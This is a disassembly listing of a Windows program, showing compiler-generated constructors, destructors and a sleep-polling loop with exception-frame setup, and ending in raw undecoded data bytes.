mov byte ptr [esp+14h+var_4], 1Eh
call sub_401AE6
lea ecx, [esi+897h]
mov byte ptr [esp+14h+var_4], 1Dh
call sub_401AE6
mov byte ptr [esp+14h+var_4], 1Ch
lea ecx, [esi+84Eh]
call sub_401AE6
lea ecx, [esi+805h]
mov byte ptr [esp+14h+var_4], 1Bh
call sub_401AE6
lea ecx, [esi+7BCh]
mov byte ptr [esp+14h+var_4], 1Ah
call sub_401AE6
lea ecx, [esi+773h]
mov byte ptr [esp+14h+var_4], 19h
call sub_401AE6
lea ecx, [esi+72Ah]
mov byte ptr [esp+14h+var_4], 18h
call sub_401AE6
lea ecx, [esi+6E1h]
mov byte ptr [esp+14h+var_4], 17h
call sub_401AE6
lea ecx, [esi+698h]
mov byte ptr [esp+14h+var_4], 16h
call sub_401AE6
lea ecx, [esi+64Fh]
mov byte ptr [esp+14h+var_4], 15h
call sub_401AE6
lea ecx, [esi+606h]
mov byte ptr [esp+14h+var_4], 14h
call sub_401AE6
lea ecx, [esi+5BDh]
mov byte ptr [esp+14h+var_4], 13h
call sub_401AE6
lea ecx, [esi+574h]
mov byte ptr [esp+14h+var_4], 12h
call sub_401AE6
lea ecx, [esi+52Bh]
mov byte ptr [esp+14h+var_4], 11h
call sub_401AE6
lea ecx, [esi+4E2h]
mov byte ptr [esp+14h+var_4], 10h
call sub_401AE6
lea ecx, [esi+499h]
mov byte ptr [esp+14h+var_4], 0Fh
call sub_401AE6
lea ecx, [esi+450h]
mov byte ptr [esp+14h+var_4], 0Eh
call sub_401AE6
lea ecx, [esi+407h]
mov byte ptr [esp+14h+var_4], 0Dh
call sub_401AE6
lea ecx, [esi+3BEh]
mov byte ptr [esp+14h+var_4], 0Ch
call sub_401AE6
lea ecx, [esi+375h]
mov byte ptr [esp+14h+var_4], 0Bh
call sub_401AE6
lea ecx, [esi+32Ch]
mov byte ptr [esp+14h+var_4], 0Ah
call sub_401AE6
lea ecx, [esi+2E3h]
mov byte ptr [esp+14h+var_4], 9
call sub_401AE6
lea ecx, [esi+29Ah]
mov byte ptr [esp+14h+var_4], 8
call sub_401AE6
lea ecx, [esi+251h]
mov byte ptr [esp+14h+var_4], 7
call sub_401AE6
lea ecx, [esi+208h]
mov byte ptr [esp+14h+var_4], 6
call sub_401AE6
lea ecx, [esi+1BFh]
mov byte ptr [esp+14h+var_4], 5
call sub_401AE6
lea ecx, [esi+176h]
mov byte ptr [esp+14h+var_4], 4
call sub_401AE6
lea ecx, [esi+12Dh]
mov byte ptr [esp+14h+var_4], 3
call sub_401AE6
lea ecx, [esi+0E4h]
mov byte ptr [esp+14h+var_4], 2
call sub_401AE6
mov byte ptr [esp+14h+var_4], 1
lea ecx, [esi+9Bh]
call sub_401AE6
lea ecx, [esi+52h]
mov byte ptr [esp+14h+var_4], 0
call sub_401AE6
lea ecx, [esi+9]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401AE6
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_416FE0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 110h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417500 proc near ; CODE XREF: sub_4014FBj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417500
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0A3h]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+75h]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+47h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+19h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417500 endp
; ---------------------------------------------------------------------------
db 9 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4175A0 proc near ; CODE XREF: sub_401EA1j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4175A0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+118h]
mov [esp+14h+var_4], 5
call sub_401023
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4175A0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417670 proc near ; CODE XREF: sub_401235j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417670
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+8D0C0h]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8D092h]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+8D064h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+8D036h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+8D008h]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417670 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417730 proc near ; CODE XREF: sub_402239j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417730
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0EAh]
mov [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417730 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4177F0 proc near ; CODE XREF: sub_401ECEj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4177F0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0EAh]
mov [esp+14h+var_4], 4
call sub_401023
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4177F0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4178B0 proc near ; CODE XREF: sub_4018D9j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4178B0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4178B0 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417920 proc near ; CODE XREF: sub_4017DAj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417920
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417920 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417990 proc near ; CODE XREF: sub_401B3Bj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417990
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417990 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417A00 proc near ; CODE XREF: sub_401F46j
add ecx, 4
jmp sub_401023
sub_417A00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417A20 proc near ; CODE XREF: sub_401113j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417A20
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+60h]
mov [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417A20 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417AA0 proc near ; CODE XREF: sub_401E06j
add ecx, 4
jmp sub_401023
sub_417AA0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417AC0 proc near ; CODE XREF: sub_402013j
add ecx, 4
jmp sub_401023
sub_417AC0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417AE0 proc near ; CODE XREF: sub_401F00j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417AE0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+0BCh]
mov [esp+14h+var_4], 3
call sub_401023
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401023
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401023
lea ecx, [esi+32h]
mov byte ptr [esp+14h+var_4], 0
call sub_401023
lea ecx, [esi+4]
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401023
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417AE0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417B80 proc near ; CODE XREF: sub_401587j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417B80
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_40142E
lea ecx, [esi+19h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+47h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+75h]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+0A3h]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F050
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417B80 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417C20 proc near ; CODE XREF: sub_40164Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417C20
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401753
lea ecx, [esi+118h]
mov byte ptr [esp+14h+var_4], 5
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F054
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417C20 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417CF0 proc near ; CODE XREF: sub_401780j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417CF0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+8D008h]
call sub_401753
lea ecx, [esi+8D036h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+8D064h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+8D092h]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+8D0C0h]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F058
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417CF0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417DB0 proc near ; CODE XREF: sub_40182Fj
push esi
mov esi, ecx
call sub_401E88
mov dword ptr [esi], offset off_43F05C
mov eax, esi
pop esi
retn
sub_417DB0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417DE0 proc near ; CODE XREF: sub_4016BDj
push esi
mov esi, ecx
call sub_401E88
mov dword ptr [esi], offset off_43F068
mov eax, esi
pop esi
retn
sub_417DE0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417E10 proc near ; CODE XREF: sub_40141Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417E10
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F074
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417E10 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417ED0 proc near ; CODE XREF: sub_401302j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417ED0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
lea ecx, [esi+0EAh]
mov byte ptr [esp+14h+var_4], 4
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F078
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417ED0 endp
; ---------------------------------------------------------------------------
db 90h
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_417F90 proc near ; CODE XREF: sub_401271j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_417F90
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F07C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_417F90 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418010 proc near ; CODE XREF: sub_401D25j
push esi
mov esi, ecx
call sub_4011B3
mov dword ptr [esi], offset off_43F080
mov eax, esi
pop esi
retn
sub_418010 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418040 proc near ; CODE XREF: sub_4012FDj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418040
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F084
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418040 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4180C0 proc near ; CODE XREF: sub_401A91j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4180C0
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F088
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_4180C0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418140 proc near ; CODE XREF: sub_401285j
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
mov dword ptr [esi], offset off_43F08C
mov eax, esi
pop esi
retn
sub_418140 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418170 proc near ; CODE XREF: sub_401CB7j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418170
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F090
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418170 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4181F0 proc near ; CODE XREF: sub_40157Dj
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
mov dword ptr [esi], offset off_43F094
mov eax, esi
pop esi
retn
sub_4181F0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418220 proc near ; CODE XREF: sub_401799j
push esi
mov esi, ecx
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
mov dword ptr [esi], offset off_43F098
mov eax, esi
pop esi
retn
sub_418220 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418250 proc near ; CODE XREF: sub_401073j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_418250
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401753
lea ecx, [esi+32h]
mov [esp+14h+var_4], 0
call sub_401753
lea ecx, [esi+60h]
mov byte ptr [esp+14h+var_4], 1
call sub_401753
lea ecx, [esi+8Eh]
mov byte ptr [esp+14h+var_4], 2
call sub_401753
lea ecx, [esi+0BCh]
mov byte ptr [esp+14h+var_4], 3
call sub_401753
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43F09C
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_418250 endp
; ---------------------------------------------------------------------------
db 90h
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4182F0 proc near ; CODE XREF: sub_40126Cj
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
push ebx
push ebp
mov ebp, dword_5118D8
push esi
mov esi, ecx
push edi
xor bl, bl
mov byte ptr [esi+9FD2Ch], 1
loc_418308: ; CODE XREF: sub_4182F0+E4j
test bl, bl
jnz loc_4183DE
mov al, [esi+8EF74h]
test al, al
jnz short loc_41831E
mov bl, 1
jmp short loc_418332
; ---------------------------------------------------------------------------
loc_41831E: ; CODE XREF: sub_4182F0+28j
lea ecx, [esi+15Fh]
call sub_40186B
test al, al
setz bl
test bl, bl
jz short loc_418339
loc_418332: ; CODE XREF: sub_4182F0+2Cj
mov byte ptr [esi+9FD2Ch], 0
loc_418339: ; CODE XREF: sub_4182F0+40j
lea ecx, [esp+1Ch+var_C]
call sub_4020A4
lea edi, [esi+9FD83h]
lea eax, [esp+1Ch+var_4]
push eax
mov ecx, edi
call sub_401F69
mov ecx, [eax]
lea edx, [esp+1Ch+var_8]
mov [esp+1Ch+var_C], ecx
push edx
mov ecx, edi
call sub_401311
push eax
lea ecx, [esp+20h+var_C]
call sub_401703
test al, al
jz short loc_4183BE
loc_418374: ; CODE XREF: sub_4182F0+CCj
lea ecx, [esp+1Ch+var_C]
call sub_402234
mov ecx, [eax]
call sub_40174E
lea ecx, [esp+1Ch+var_C]
call sub_402234
mov eax, [eax]
test eax, eax
jz short loc_41839B
mov edx, [eax]
push 1
mov ecx, eax
call dword ptr [edx]
loc_41839B: ; CODE XREF: sub_4182F0+A1j
lea ecx, [esp+1Ch+var_C]
call sub_401361
lea eax, [esp+1Ch+var_8]
mov ecx, edi
push eax
call sub_401311
push eax
lea ecx, [esp+20h+var_C]
call sub_401703
test al, al
jnz short loc_418374
loc_4183BE: ; CODE XREF: sub_4182F0+82j
mov ecx, edi
call sub_4010B9
push 0FAh
call ebp
mov al, [esi+9FD2Ch]
test al, al
jnz loc_418308
test bl, bl
jz short loc_4183EB
loc_4183DE: ; CODE XREF: sub_4182F0+1Aj
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
loc_4183EB: ; CODE XREF: sub_4182F0+ECj
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0Ch
retn
sub_4182F0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 50h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418450 proc near ; CODE XREF: sub_401776j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_418450
push eax
mov large fs:0, esp
sub esp, 1A8h
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov ecx, offset byte_4E8E9B
mov byte ptr [esi+9FD2Ch], 1
call sub_4010B9
mov eax, [esp+1C4h+arg_4]
test eax, eax
jz short loc_418490
push eax
jmp short loc_418495
; ---------------------------------------------------------------------------
loc_418490: ; CODE XREF: sub_418450+3Bj
push offset byte_448F30
loc_418495: ; CODE XREF: sub_418450+3Ej
lea ecx, [esi+9FD57h]
call sub_4015E1
mov edi, [esp+1C4h+arg_0]
test edi, edi
jz short loc_4184AE
push edi
jmp short loc_4184B3
; ---------------------------------------------------------------------------
loc_4184AE: ; CODE XREF: sub_418450+59j
push offset byte_448F30
loc_4184B3: ; CODE XREF: sub_418450+5Cj
lea ecx, [esi+9FD6Ch]
call sub_4015E1
push edi
lea ecx, [esi+3Eh]
call sub_401384
sub_418450 endp
; ---------------------------------------------------------------------------
db 8Ah
dd 0C0844246h, 468B0F74h, 528E8D43h, 50000001h, 0FE94ABE8h
dd 244C8DFFh, 2685128h, 90000002h, 69E160E8h, 8FD2E871h
dd 8E8DFFFEh, 1BBEh, 0FE92FBE8h, 468E8DFFh, 0E800001Bh
dd 0FFFE94FDh, 15FBE8Dh, 0CF8B0000h, 0FE9833E8h, 0D81D8BFFh
dd 68005118h, 3E8h, 0CF8BD3FFh, 0FE8CF3E8h, 3E868FFh, 0D3FF0000h
dd 8448468Ah, 8A0A75C0h, 7C786h, 74C08400h, 318E8D0Bh
dd 0E80009FCh, 0FFFE8E92h, 3E868h, 8DD3FF00h, 3F99Eh, 58BE8D00h
dd 5300001Ch, 6E8CF8Bh, 8BFFFE96h, 8C27E8CFh, 868AFFFEh
dd 77Eh, 0F74C084h, 71C968Dh, 52530000h, 0A9E8CF8Bh, 8AFFFE91h
dd 7C786h, 74C08400h, 0F7AE8D1Dh, 8B000007h, 33E855CFh
dd 84FFFE9Ah, 530B75C0h, 0E8CF8B55h, 0FFFE8EF5h, 0AE8D0EEBh
dd 7F7h, 0E855CF8Bh, 0FFFE9395h, 7C7868Ah, 0C0840000h
dd 468A1B74h, 75C08448h, 0CF8B5514h, 0FE9A25E8h, 74C084FFh
dd 90006A08h, 82189DE8h, 9924E877h, 8E8DFFFEh, 168h, 0FE91FDE8h
dd 448D50FFh, 0E8501424h, 0FFFE9A44h, 5008C483h, 0FD2D8E8Dh
dd 84C70009h, 1C424h, 0
dd 9A16E800h, 4C8DFFFEh, 84C71024h, 1C024h, 0FFFFFF00h
dd 8BFCE8FFh, 9E8DFFFEh, 8EF5Dh, 0A7E8CB8Bh, 8DFFFE8Dh
dd 8F2478Eh, 8D9CE800h, 8E8DFFFEh, 1D29h, 0FE9746E8h, 6F8E8DFFh
dd 0E800001Eh, 0FFFE949Dh, 0F2858E8Dh, 0B0E80008h, 8DFFFE8Fh
dd 9FA138Eh, 9090E800h, 8E8DFFFEh, 8F3A2h, 0FE9B89E8h
dd 738E8DFFh, 0E80009FAh, 0FFFE97E1h, 8EE8CB8Bh, 8DFFFE93h
dd 9FC428Eh, 98E7E800h, 0CF8BFFFEh, 0FE89AEE8h, 0BF8E8DFFh
